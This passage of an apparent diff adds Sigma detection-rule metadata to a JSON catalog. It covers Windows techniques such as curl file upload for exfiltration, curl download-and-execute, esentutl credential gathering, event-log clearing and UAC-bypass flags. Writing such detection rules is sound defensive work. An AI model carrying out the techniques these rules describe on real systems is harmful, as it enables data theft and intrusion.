"proc_creation_win_susp_curl_fileupload.yml", + "level": "medium", + "logsource.category": "process_creation", + "logsource.product": "windows", + "refs": [ + "https://twitter.com/d1r4c/status/1279042657508081664", + "https://medium.com/@petehouston/upload-files-with-curl-93064dcccc76", + "https://github.com/redcanaryco/atomic-red-team/blob/f339e7da7d05f6057fdfcdd3742bfcf365fee2a9/atomics/T1105/T1105.md#atomic-test-19---curl-upload-file", + "https://curl.se/docs/manpage.html", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_susp_curl_fileupload.yml" + ], + "tags": [ + "attack.exfiltration", + "attack.t1567", + "attack.t1105" + ] + }, + "uuid": "00bca14a-df4e-4649-9054-3f2aa676bc04", + "value": "Suspicious Curl File Upload" + }, + { + "description": "Adversaries can use curl to download payloads remotely and execute them. Curl is included by default in Windows 10 build 17063 and later.", + "meta": { + "author": "Sreeman, Nasreddine Bencherchali", + "creation_date": "2020/01/13", + "falsepositive": [ + "Administrative scripts (installers)" + ], + "filename": "proc_creation_win_susp_curl_start_combo.yml", + "level": "high", + "logsource.category": "process_creation", + "logsource.product": "windows", + "refs": [ + "https://medium.com/@reegun/curl-exe-is-the-new-rundll32-exe-lolbin-3f79c5f35983", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_susp_curl_start_combo.yml" + ], + "tags": [ + "attack.execution", + "attack.t1218", + "attack.command_and_control", + "attack.t1105" + ] + }, + "uuid": "21dd6d38-2b18-4453-9404-a0fe4a0cc288", + "value": "Curl Start Combination" + }, + { + "description": "Detects a suspicious curl process start on Windows with set useragent options", + "meta": { + "author": "frack113", + "creation_date": "2022/01/23", + "falsepositive": [ + "Scripts created by developers and admins", + "Administrative activity" + ], + "filename": "proc_creation_win_susp_curl_useragent.yml", + "level": "medium", + "logsource.category": "process_creation", + "logsource.product": "windows", + "refs": [ + "https://curl.se/docs/manpage.html", + "https://github.com/redcanaryco/atomic-red-team/blob/f339e7da7d05f6057fdfcdd3742bfcf365fee2a9/atomics/T1071.001/T1071.001.md#atomic-test-2---malicious-user-agents---cmd", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_susp_curl_useragent.yml" + ], + "tags": [ + "attack.command_and_control", + "attack.t1071.001" + ] + }, + "uuid": "3286d37a-00fd-41c2-a624-a672dcd34e60", + "value": "Suspicious Curl Change User Agents" + }, + { + "description": "Detects suspicious process injection using ZOHO's dctask64.exe", + "meta": { + "author": "Florian Roth", + "creation_date": "2020/01/28", + "falsepositive": [ + "Unknown yet" + ], + "filename": "proc_creation_win_susp_dctask64_proc_inject.yml", + "level": "high", + "logsource.category": "process_creation", + "logsource.product": "windows", + "refs": [ + "https://twitter.com/gN3mes1s/status/1222088214581825540", + "https://twitter.com/gN3mes1s/status/1222095963789111296", + "https://twitter.com/gN3mes1s/status/1222095371175911424", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_susp_dctask64_proc_inject.yml" + ], + "tags": [ + "attack.defense_evasion", + "attack.t1055.001" + ] + }, + "uuid": "6345b048-8441-43a7-9bed-541133633d7a", + "value": "ZOHO Dctask64 Process Injection" + }, + { + "description": "Detects suspicious command line to remove and 'exe' or 'dll'", + "meta": { + "author": "frack113", + "creation_date": "2021/12/02", + "falsepositive": [ + "Unknown" + ], + "filename": "proc_creation_win_susp_del.yml", + "level": "medium", + "logsource.category": "process_creation", + "logsource.product": "windows", + "refs": [ + "https://www.joesandbox.com/analysis/509330/0/html#1044F3BDBE3BB6F734E357235F4D5898582D", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_susp_del.yml" + ], + "tags": [ + "attack.defense_evasion", + "attack.t1070.004" + ] + }, + "uuid": "204b17ae-4007-471b-917b-b917b315c5db", + "value": "Suspicious Del in CommandLine" + }, + { + "description": "Detects a suspicious Microsoft desktopimgdownldr execution with parameters used to download files from the Internet", + "meta": { + "author": "Florian Roth", + "creation_date": "2020/07/03", + "falsepositive": [ + "False positives depend on scripts and administrative tools used in the monitored environment" + ], + "filename": "proc_creation_win_susp_desktopimgdownldr.yml", + "level": "high", + "logsource.category": "process_creation", + "logsource.product": "windows", + "refs": [ + "https://labs.sentinelone.com/living-off-windows-land-a-new-native-file-downldr/", + "https://twitter.com/SBousseaden/status/1278977301745741825", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_susp_desktopimgdownldr.yml" + ], + "tags": [ + "attack.command_and_control", + "attack.t1105" + ] + }, + "uuid": "bb58aa4a-b80b-415a-a2c0-2f65a4c81009", + "value": "Suspicious Desktopimgdownldr Command" + }, + { + "description": "Detects a certain command line flag combination used by devinit.exe lolbin to download arbitrary MSI packages on a Windows system", + "meta": { + "author": "Florian Roth", + "creation_date": "2022/01/11", + "falsepositive": [ + "Unknown" + ], + "filename": "proc_creation_win_susp_devinit_lolbin.yml", + "level": "high", + "logsource.category": "process_creation", + "logsource.product": "windows", + "refs": [ + "https://twitter.com/mrd0x/status/1460815932402679809", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_susp_devinit_lolbin.yml" + ], + "tags": [ + "attack.execution", + "attack.defense_evasion", + "attack.t1218" + ] + }, + "uuid": "90d50722-0483-4065-8e35-57efaadd354d", + "value": "DevInit Lolbin Download" + }, + { + "description": "The Devtoolslauncher.exe executes other binary", + "meta": { + "author": "Beyu Denis, oscd.community (rule), @_felamos (idea)", + "creation_date": "2019/10/12", + "falsepositive": [ + "Legitimate use of devtoolslauncher.exe by legitimate user" + ], + "filename": "proc_creation_win_susp_devtoolslauncher.yml", + "level": "high", + "logsource.category": "process_creation", + "logsource.product": "windows", + "refs": [ + "https://lolbas-project.github.io/lolbas/OtherMSBinaries/Devtoolslauncher/", + "https://twitter.com/_felamos/status/1179811992841797632", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_susp_devtoolslauncher.yml" + ], + "tags": [ + "attack.defense_evasion", + "attack.t1218" + ] + }, + "uuid": "cc268ac1-42d9-40fd-9ed3-8c4e1a5b87e6", + "value": "Devtoolslauncher.exe Executes Specified Binary" + }, + { + "description": "Detects usage of the \"dir\" command that's part of windows batch/cmd to collect information about directories", + "meta": { + "author": "frack113", + "creation_date": "2021/12/13", + "falsepositive": [ + "Unknown" + ], + "filename": "proc_creation_win_susp_dir.yml", + "level": "low", + "logsource.category": "process_creation", + "logsource.product": "windows", + "refs": [ + "https://github.com/redcanaryco/atomic-red-team/blob/f339e7da7d05f6057fdfcdd3742bfcf365fee2a9/atomics/T1217/T1217.md", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_susp_dir.yml" + ], + "tags": [ + "attack.discovery", + "attack.t1217" + ] + }, + "uuid": "7c9340a9-e2ee-4e43-94c5-c54ebbea1006", + "value": "Suspicious DIR Execution" + }, + { + "description": "Detects direct modification of autostart extensibility point (ASEP) in registry using reg.exe.", + "meta": { + "author": "Victor Sergeev, Daniil Yugoslavskiy, oscd.community", + "creation_date": "2019/10/25", + "falsepositive": [ + "Legitimate software automatically (mostly, during installation) sets up autorun keys for legitimate reasons.", + "Legitimate administrator sets up autorun keys for legitimate reasons.", + "Discord" + ], + "filename": "proc_creation_win_susp_direct_asep_reg_keys_modification.yml", + "level": "medium", + "logsource.category": "process_creation", + "logsource.product": "windows", + "refs": [ + "https://github.com/redcanaryco/atomic-red-team/blob/f339e7da7d05f6057fdfcdd3742bfcf365fee2a9/atomics/T1547.001/T1547.001.md", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_susp_direct_asep_reg_keys_modification.yml" + ], + "tags": [ + "attack.persistence", + "attack.t1547.001" + ] + }, + "uuid": "24357373-078f-44ed-9ac4-6d334a668a11", + "value": "Direct Autorun Keys Modification" + }, + { + "description": "Detects command that is used to disable or delete Windows eventlog via logman Windows utility", + "meta": { + "author": "Florian Roth", + "creation_date": "2021/02/11", + "falsepositive": [ + "Legitimate deactivation by administrative staff", + "Installer tools that disable services, e.g. before log collection agent installation" + ], + "filename": "proc_creation_win_susp_disable_eventlog.yml", + "level": "high", + "logsource.category": "process_creation", + "logsource.product": "windows", + "refs": [ + "https://twitter.com/0gtweet/status/1359039665232306183?s=21", + "https://ss64.com/nt/logman.html", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_susp_disable_eventlog.yml" + ], + "tags": [ + "attack.defense_evasion", + "attack.t1562.001", + "attack.t1070.001" + ] + }, + "uuid": "cd1f961e-0b96-436b-b7c6-38da4583ec00", + "value": "Disable or Delete Windows Eventlog" + }, + { + "description": "Detects command lines that indicate unwanted modifications to registry keys that disable important Internet Explorer security features", + "meta": { + "author": "Florian Roth", + "creation_date": "2020/06/19", + "falsepositive": [ + "Unknown, maybe some security software installer disables these features temporarily" + ], + "filename": "proc_creation_win_susp_disable_ie_features.yml", + "level": "high", + "logsource.category": "process_creation", + "logsource.product": "windows", + "refs": [ + "https://unit42.paloaltonetworks.com/operation-ke3chang-resurfaces-with-new-tidepool-malware/", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_susp_disable_ie_features.yml" + ], + "tags": [ + "attack.defense_evasion", + "attack.t1562.001" + ] + }, + "uuid": "fb50eb7a-5ab1-43ae-bcc9-091818cb8424", + "value": "Disabled IE Security Features" + }, + { + "description": "Detects commands that indicate a Raccine removal from an end system. Raccine is a free ransomware protection tool.", + "meta": { + "author": "Florian Roth", + "creation_date": "2021/01/21", + "falsepositive": [ + "Legitimate deinstallation by administrative staff" + ], + "filename": "proc_creation_win_susp_disable_raccine.yml", + "level": "high", + "logsource.category": "process_creation", + "logsource.product": "windows", + "refs": [ + "https://github.com/Neo23x0/Raccine", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_susp_disable_raccine.yml" + ], + "tags": [ + "attack.defense_evasion", + "attack.t1562.001" + ] + }, + "uuid": "a31eeaed-3fd5-478e-a8ba-e62c6b3f9ecc", + "value": "Raccine Uninstall" + }, + { + "description": "Detects using Diskshadow.exe to execute arbitrary code in text file", + "meta": { + "author": "Ivan Dyachkov, oscd.community", + "creation_date": "2020/10/07", + "falsepositive": [ + "False postitve can be if administrators use diskshadow tool in their infrastructure as a main backup tool with scripts." + ], + "filename": "proc_creation_win_susp_diskshadow.yml", + "level": "high", + "logsource.category": "process_creation", + "logsource.product": "windows", + "refs": [ + "https://bohops.com/2018/03/26/diskshadow-the-return-of-vss-evasion-persistence-and-active-directory-database-extraction/", + "https://www.ired.team/offensive-security/credential-access-and-credential-dumping/ntds.dit-enumeration", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_susp_diskshadow.yml" + ], + "tags": [ + "attack.execution", + "attack.t1218" + ] + }, + "uuid": "0c2f8629-7129-4a8a-9897-7e0768f13ff2", + "value": "Execution via Diskshadow.exe" + }, + { + "description": "Detects the use of Ditsnap tool. Seems to be a tool for ransomware groups.", + "meta": { + "author": "Furkan Caliskan (@caliskanfurkan_)", + "creation_date": "2020/07/04", + "falsepositive": [ + "Legitimate admin usage" + ], + "filename": "proc_creation_win_susp_ditsnap.yml", + "level": "high", + "logsource.category": "process_creation", + "logsource.product": "windows", + "refs": [ + "https://thedfirreport.com/2020/06/21/snatch-ransomware/", + "https://github.com/yosqueoy/ditsnap", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_susp_ditsnap.yml" + ], + "tags": [ + "attack.credential_access", + "attack.t1003.003" + ] + }, + "uuid": "d3b70aad-097e-409c-9df2-450f80dc476b", + "value": "DIT Snapshot Viewer Use" + }, + { + "description": "Detects a \"dllhost\" spawning with no commandline arguments which is a very rare thing to happen and could indicate process injection activity or malware mimicking similar system processes", + "meta": { + "author": "Nasreddine Bencherchali", + "creation_date": "2022/06/27", + "falsepositive": [ + "Unlikely" + ], + "filename": "proc_creation_win_susp_dllhost_no_cli.yml", + "level": "high", + "logsource.category": "process_creation", + "logsource.product": "windows", + "refs": [ + "https://redcanary.com/blog/child-processes/", + "https://nasbench.medium.com/what-is-the-dllhost-exe-process-actually-running-ef9fe4c19c08", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_susp_dllhost_no_cli.yml" + ], + "tags": [ + "attack.defense_evasion", + "attack.t1055" + ] + }, + "uuid": "e7888eb1-13b0-4616-bd99-4bc0c2b054b9", + "value": "Dllhost Process With No CommandLine" + }, + { + "description": "Execute C# code located in the consoleapp folder", + "meta": { + "author": "Beyu Denis, oscd.community", + "creation_date": "2019/10/26", + "falsepositive": [ + "Legitimate use of dnx.exe by legitimate user" + ], + "filename": "proc_creation_win_susp_dnx.yml", + "level": "medium", + "logsource.category": "process_creation", + "logsource.product": "windows", + "refs": [ + "https://lolbas-project.github.io/lolbas/OtherMSBinaries/Csi/", + "https://enigma0x3.net/2016/11/17/bypassing-application-whitelisting-by-using-dnx-exe/", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_susp_dnx.yml" + ], + "tags": [ + "attack.defense_evasion", + "attack.t1218", + "attack.t1027.004" + ] + }, + "uuid": "81ebd28b-9607-4478-bf06-974ed9d53ed7", + "value": "Application Whitelisting Bypass via Dnx.exe" + }, + { + "description": "Detects suspicious use of an .exe extension after a non-executable file extension like .pdf.exe, a set of spaces or underlines to cloak the executable file in spear phishing campaigns", + "meta": { + "author": "Florian Roth (rule), @blu3_team (idea)", + "creation_date": "2019/06/26", + "falsepositive": [ + "Unknown" + ], + "filename": "proc_creation_win_susp_double_extension.yml", + "level": "critical", + "logsource.category": "process_creation", + "logsource.product": "windows", + "refs": [ + "https://blu3-team.blogspot.com/2019/06/misleading-extensions-xlsexe-docexe.html", + "https://twitter.com/blackorbird/status/1140519090961825792", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_susp_double_extension.yml" + ], + "tags": [ + "attack.initial_access", + "attack.t1566.001" + ] + }, + "uuid": "1cdd9a09-06c9-4769-99ff-626e2b3991b8", + "value": "Suspicious Double Extension" + }, + { + "description": "Detects suspicious ways to download files from Microsoft domains that are used to store attachments in Emails or OneNote documents", + "meta": { + "author": "Florian Roth, Nasreddine Bencherchali", + "creation_date": "2021/12/27", + "falsepositive": [ + "Scripts or tools that download attachments from these domains (OneNote, Outlook 365)" + ], + "filename": "proc_creation_win_susp_download_office_domain.yml", + "level": "high", + "logsource.category": "process_creation", + "logsource.product": "windows", + "refs": [ + "https://twitter.com/an0n_r0/status/1474698356635193346?s=12", + "https://twitter.com/mrd0x/status/1475085452784844803?s=12", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_susp_download_office_domain.yml" + ], + "tags": "No established tags" + }, + "uuid": "00d49ed5-4491-4271-a8db-650a4ef6f8c1", + "value": "Suspicious Download from Office Domain" + }, + { + "description": "Detects suspicious way to dump the kernel on Windows systems using dtrace.exe, which is available on Windows systems since Windows 10 19H1", + "meta": { + "author": "Florian Roth", + "creation_date": "2021/12/28", + "falsepositive": [ + "Unknown" + ], + "filename": "proc_creation_win_susp_dtrace_kernel_dump.yml", + "level": "high", + "logsource.category": "process_creation", + "logsource.product": "windows", + "refs": [ + "https://twitter.com/0gtweet/status/1474899714290208777?s=12", + "https://docs.microsoft.com/en-us/windows-hardware/drivers/devtest/dtrace", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_susp_dtrace_kernel_dump.yml" + ], + "tags": "No established tags" + }, + "uuid": "7124aebe-4cd7-4ccb-8df0-6d6b93c96795", + "value": "Suspicious Kernel Dump Using Dtrace" + }, + { + "description": "Detects suspicious child processes of electron apps (teams, discord, slack...).\nThis could be a potential sign of \".asar\" file tampering (See reference section for more information)\n", + "meta": { + "author": "Nasreddine Bencherchali", + "creation_date": "2022/10/21", + "falsepositive": [ + "Unknown" + ], + "filename": "proc_creation_win_susp_electron_app_children.yml", + "level": "medium", + "logsource.category": "process_creation", + "logsource.product": "windows", + "refs": [ + "https://taggart-tech.com/quasar-electron/", + "https://github.com/mttaggart/quasar", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_susp_electron_app_children.yml" + ], + "tags": [ + "attack.execution" + ] + }, + "uuid": "f26eb764-fd89-464b-85e2-dc4a8e6e77b8", + "value": "Suspicious Electron Application Child Processes" + }, + { + "description": "Detecting Emotet DLL loading by looking for rundll32.exe processes with command lines ending in ,RunDLL or ,Control_RunDLL", + "meta": { + "author": "FPT.EagleEye", + "creation_date": "2020/12/25", + "falsepositive": [ + "Unknown" + ], + "filename": "proc_creation_win_susp_emotet_rundll32_execution.yml", + "level": "critical", + "logsource.category": "process_creation", + "logsource.product": "windows", + "refs": [ + "https://paste.cryptolaemus.com/emotet/2020/12/22/emotet-malware-IoCs_12-22-20.html", + "https://cyber.wtf/2021/11/15/guess-whos-back/", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_susp_emotet_rundll32_execution.yml" + ], + "tags": [ + "attack.defense_evasion", + "attack.t1218.011" + ] + }, + "uuid": "54e57ce3-0672-46eb-a402-2c0948d5e3e9", + "value": "Emotet RunDLL32 Process Creation" + }, + { + "description": "Conti recommendation to its affiliates to use esentutl to access NTDS dumped file. Trickbot also uses this utilities to get MSEdge info via its module pwgrab.", + "meta": { + "author": "sam0x90", + "creation_date": "2021/08/06", + "falsepositive": [ + "To be determined" + ], + "filename": "proc_creation_win_susp_esentutl_params.yml", + "level": "medium", + "logsource.category": "process_creation", + "logsource.product": "windows", + "refs": [ + "https://twitter.com/vxunderground/status/1423336151860002816", + "https://attack.mitre.org/software/S0404/", + "https://thedfirreport.com/2021/08/01/bazarcall-to-conti-ransomware-via-trickbot-and-cobalt-strike/", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_susp_esentutl_params.yml" + ], + "tags": [ + "attack.credential_access", + "attack.t1003", + "attack.t1003.003" + ] + }, + "uuid": "7df1713a-1a5b-4a4b-a071-dc83b144a101", + "value": "Esentutl Gather Credentials" + }, + { + "description": "Detects clearing or configuration of eventlogs using wevtutil, powershell and wmic. Might be used by ransomwares during the attack (seen by NotPetya and others).", + "meta": { + "author": "Ecco, Daniil Yugoslavskiy, oscd.community", + "creation_date": "2019/09/26", + "falsepositive": [ + "Admin activity", + "Scripts and administrative tools used in the monitored environment" + ], + "filename": "proc_creation_win_susp_eventlog_clear.yml", + "level": "high", + "logsource.category": "process_creation", + "logsource.product": "windows", + "refs": [ + "https://github.com/redcanaryco/atomic-red-team/blob/f339e7da7d05f6057fdfcdd3742bfcf365fee2a9/atomics/T1070.001/T1070.001.md", + "https://eqllib.readthedocs.io/en/latest/analytics/5b223758-07d6-4100-9e11-238cfdd0fe97.html", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_susp_eventlog_clear.yml" + ], + "tags": [ + "attack.defense_evasion", + "attack.t1070.001", + "car.2016-04-002" + ] + }, + "uuid": "cc36992a-4671-4f21-a91d-6c2b72a2edf5", + "value": "Suspicious Eventlog Clear or Configuration Using Wevtutil" + }, + { + "description": "Detects a suspicious execution from an uncommon folder", + "meta": { + "author": "Florian Roth, Tim Shelton", + "creation_date": "2019/01/16", + "falsepositive": [ + "Unknown" + ], + "filename": "proc_creation_win_susp_execution_path.yml", + "level": "high", + "logsource.category": "process_creation", + "logsource.product": "windows", + "refs": [ + "https://github.com/mbevilacqua/appcompatprocessor/blob/6c847937c5a836e2ce2fe2b915f213c345a3c389/AppCompatSearch.txt", + "https://www.secureworks.com/research/bronze-butler-targets-japanese-businesses", + "https://www.crowdstrike.com/resources/reports/2019-crowdstrike-global-threat-report/", + "https://github.com/ThreatHuntingProject/ThreatHunting/blob/cb22598bb70651f88e0285abc8d835757d2cb596/hunts/suspicious_process_creation_via_windows_event_logs.md", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_susp_execution_path.yml" + ], + "tags": [ + "attack.defense_evasion", + "attack.t1036" + ] + }, + "uuid": "3dfd06d2-eaf4-4532-9555-68aca59f57c4", + "value": "Execution from Suspicious Folder" + }, + { + "description": "Detects a suspicious program execution in a web service root folder (filter out false positives)", + "meta": { + "author": "Florian Roth", + "creation_date": "2019/01/16", + "falsepositive": [ + "Various applications", + "Tools that include ping or nslookup command invocations" + ], + "filename": "proc_creation_win_susp_execution_path_webserver.yml", + "level": "medium", + "logsource.category": "process_creation", + "logsource.product": "windows", + "refs": [ + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_susp_execution_path_webserver.yml" + ], + "tags": [ + "attack.persistence", + "attack.t1505.003" + ] + }, + "uuid": "35efb964-e6a5-47ad-bbcd-19661854018d", + "value": "Execution in Webserver Root Folder" + }, + { + "description": "Attackers can use explorer.exe for evading defense mechanisms", + "meta": { + "author": "Furkan CALISKAN, @caliskanfurkan_, @oscd_initiative", + "creation_date": "2020/10/05", + "falsepositive": [ + "Legitimate explorer.exe run from cmd.exe" + ], + "filename": "proc_creation_win_susp_explorer.yml", + "level": "low", + "logsource.category": "process_creation", + "logsource.product": "windows", + "refs": [ + "https://twitter.com/CyberRaiju/status/1273597319322058752", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_susp_explorer.yml" + ], + "tags": [ + "attack.defense_evasion", + "attack.t1218" + ] + }, + "uuid": "9eb271b9-24ae-4cd4-9465-19cfc1047f3e", + "value": "Proxy Execution Via Explorer.exe" + }, + { + "description": "Detects a command line process that uses explorer.exe to launch arbitrary commands or binaries,\nwhich is similar to cmd.exe /c, only it breaks the process tree and makes its parent a new instance of explorer spawning from \"svchost\"\n", + "meta": { + "author": "Florian Roth, Nasreddine Bencherchali, @gott_cyber", + "creation_date": "2019/06/29", + "falsepositive": [ + "Unknown how many legitimate software products use that method" + ], + "filename": "proc_creation_win_susp_explorer_break_proctree.yml", + "level": "medium", + "logsource.category": "process_creation", + "logsource.product": "windows", + "refs": [ + "https://twitter.com/CyberRaiju/status/1273597319322058752", + "https://twitter.com/bohops/status/1276357235954909188?s=12", + "https://twitter.com/nas_bench/status/1535322450858233858", + "https://securityboulevard.com/2019/09/deobfuscating-ostap-trickbots-34000-line-javascript-downloader/", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_susp_explorer_break_proctree.yml" + ], + "tags": [ + "attack.defense_evasion", + "attack.t1036" + ] + }, + "uuid": "949f1ffb-6e85-4f00-ae1e-c3c5b190d605", + "value": "Explorer Process Tree Break" + }, + { + "description": "Detects suspicious starts of explorer.exe that use the /NOUACCHECK flag that allows to run all sub processes of that newly started explorer.exe without any UAC checks", + "meta": { + "author": "Florian Roth", + "creation_date": "2022/02/23", + "falsepositive": [ + "Domain Controller User Logon", + "Unknown how many legitimate software products use that method" + ], + "filename": "proc_creation_win_susp_explorer_nouaccheck.yml", + "level": "high", + "logsource.category": "process_creation", + "logsource.product": "windows", + "refs": [ + "https://twitter.com/ORCA6665/status/1496478087244095491", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_susp_explorer_nouaccheck.yml" + ], + "tags": [ + "attack.defense_evasion", + "attack.t1548.002" + ] + }, + "uuid": "534f2ef7-e8a2-4433-816d-c91bccde289b", + "value": "Explorer NOUACCHECK Flag" + }, + { + "description": "Detects Executables in the Downloads folder without FileVersion,Description,Product,Company likely created with py2exe", + "meta": { + "author": "Markus Neis, Sander Wiebing", + "creation_date": "2018/11/22", + "falsepositive": [ + "Unknown" + ], + "filename": "proc_creation_win_susp_file_characteristics.yml", + "level": "medium", + "logsource.category": "process_creation", + "logsource.product": "windows", + "refs": [ + "https://securelist.com/muddywater/88059/", + "https://www.virustotal.com/#/file/276a765a10f98cda1a38d3a31e7483585ca3722ecad19d784441293acf1b7beb/detection", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_susp_file_characteristics.yml" + ], + "tags": [ + "attack.execution", + "attack.t1059.006" + ] + }, + "uuid": "9637e8a5-7131-4f7f-bdc7-2b05d8670c43", + "value": "Suspicious File Characteristics Due to Missing Fields" + }, + { + "description": "Detects when GfxDownloadWrapper.exe downloads file from non standard URL", + "meta": { + "author": "Victor Sergeev, oscd.community", + "creation_date": "2020/10/09", + "falsepositive": [ + "Unknown" + ], + "filename": "proc_creation_win_susp_file_download_via_gfxdownloadwrapper.yml", + "level": "medium", + "logsource.category": "process_creation", + "logsource.product": "windows", + "refs": [ + "https://lolbas-project.github.io/lolbas/Binaries/GfxDownloadWrapper/", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_susp_file_download_via_gfxdownloadwrapper.yml" + ], + "tags": [ + "attack.command_and_control", + "attack.t1105" + ] + }, + "uuid": "eee00933-a761-4cd0-be70-c42fe91731e7", + "value": "GfxDownloadWrapper.exe Downloads File from Suspicious URL" + }, + { + "description": "Discovery of an installed Sysinternals Sysmon service using driver altitude (even if the name is changed).", + "meta": { + "author": "frack113", + "creation_date": "2021/12/16", + "falsepositive": [ + "Unknown" + ], + "filename": "proc_creation_win_susp_findstr_385201.yml", + "level": "high", + "logsource.category": "process_creation", + "logsource.product": "windows", + "refs": [ + "https://github.com/redcanaryco/atomic-red-team/blob/f339e7da7d05f6057fdfcdd3742bfcf365fee2a9/atomics/T1518.001/T1518.001.md#atomic-test-5---security-software-discovery---sysmon-service", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_susp_findstr_385201.yml" + ], + "tags": [ + "attack.discovery", + "attack.t1518.001" + ] + }, + "uuid": "37db85d1-b089-490a-a59a-c7b6f984f480", + "value": "Suspicious Findstr 385201 Execution" + }, + { + "description": "Detects usage of findstr to identify and execute a lnk file as seen within the HHS redirect attack", + "meta": { + "author": "Trent Liffick", + "creation_date": "2020/05/01", + "falsepositive": [ + "Unknown" + ], + "filename": "proc_creation_win_susp_findstr_lnk.yml", + "level": "medium", + "logsource.category": "process_creation", + "logsource.product": "windows", + "refs": [ + "https://www.bleepingcomputer.com/news/security/hhsgov-open-redirect-used-by-coronavirus-phishing-to-spread-malware/", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_susp_findstr_lnk.yml" + ], + "tags": [ + "attack.defense_evasion", + "attack.t1036", + "attack.t1202", + "attack.t1027.003" + ] + }, + "uuid": "33339be3-148b-4e16-af56-ad16ec6c7e7b", + "value": "Findstr Launching .lnk File" + }, + { + "description": "Detects suspicious aged finger.exe tool execution often used in malware attacks nowadays", + "meta": { + "author": "Florian Roth, omkar72, oscd.community", + "creation_date": "2021/02/24", + "falsepositive": [ + "Admin activity (unclear what they do nowadays with finger.exe)" + ], + "filename": "proc_creation_win_susp_finger_usage.yml", + "level": "high", + "logsource.category": "process_creation", + "logsource.product": "windows", + "refs": [ + "https://twitter.com/bigmacjpg/status/1349727699863011328?s=12", + "https://app.any.run/tasks/40115012-a919-4208-bfed-41e82cb3dadf/", + "http://hyp3rlinx.altervista.org/advisories/Windows_TCPIP_Finger_Command_C2_Channel_and_Bypassing_Security_Software.txt", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_susp_finger_usage.yml" + ], + "tags": [ + "attack.command_and_control", + "attack.t1105" + ] + }, + "uuid": "af491bca-e752-4b44-9c86-df5680533dbc", + "value": "Finger.exe Suspicious Invocation" + }, + { + "description": "Detects the execution of format.com with a suspicious filesystem selection that could indicate a defense evasion activity in which format.com is used to load malicious DLL files or other programs", + "meta": { + "author": "Florian Roth", + "creation_date": "2022/01/04", + "falsepositive": [ + "Unknown" + ], + "filename": "proc_creation_win_susp_format.yml", + "level": "high", + "logsource.category": "process_creation", + "logsource.product": "windows", + "refs": [ + "https://twitter.com/0gtweet/status/1477925112561209344", + "https://twitter.com/wdormann/status/1478011052130459653?s=20", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_susp_format.yml" + ], + "tags": [ + "attack.defense_evasion" + ] + }, + "uuid": "9fb6b26e-7f9e-4517-a48b-8cac4a1b6c60", + "value": "Format.com FileSystem LOLBIN" + }, + { + "description": "Detects suspicious parameters of fsutil (deleting USN journal, configuring it with small size, etc).\nMight be used by ransomwares during the attack (seen by NotPetya and others).\n", + "meta": { + "author": "Ecco, E.M. Anhaus, oscd.community", + "creation_date": "2019/09/26", + "falsepositive": [ + "Admin activity", + "Scripts and administrative tools used in the monitored environment" + ], + "filename": "proc_creation_win_susp_fsutil_usage.yml", + "level": "high", + "logsource.category": "process_creation", + "logsource.product": "windows", + "refs": [ + "https://docs.microsoft.com/en-us/windows-server/administration/windows-commands/fsutil-usn", + "https://github.com/redcanaryco/atomic-red-team/blob/f339e7da7d05f6057fdfcdd3742bfcf365fee2a9/atomics/T1070/T1070.md", + "https://eqllib.readthedocs.io/en/latest/analytics/c91f422a-5214-4b17-8664-c5fcf115c0a2.html", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_susp_fsutil_usage.yml" + ], + "tags": [ + "attack.defense_evasion", + "attack.t1070" + ] + }, + "uuid": "add64136-62e5-48ea-807e-88638d02df1e", + "value": "Fsutil Suspicious Invocation" + }, + { + "description": "Detects cases in which a user uses the built-in Windows utility gpresult to display the Resultant Set of Policy (RSoP) information", + "meta": { + "author": "frack113", + "creation_date": "2022/05/01", + "falsepositive": [ + "Unknown" + ], + "filename": "proc_creation_win_susp_gpresult.yml", + "level": "medium", + 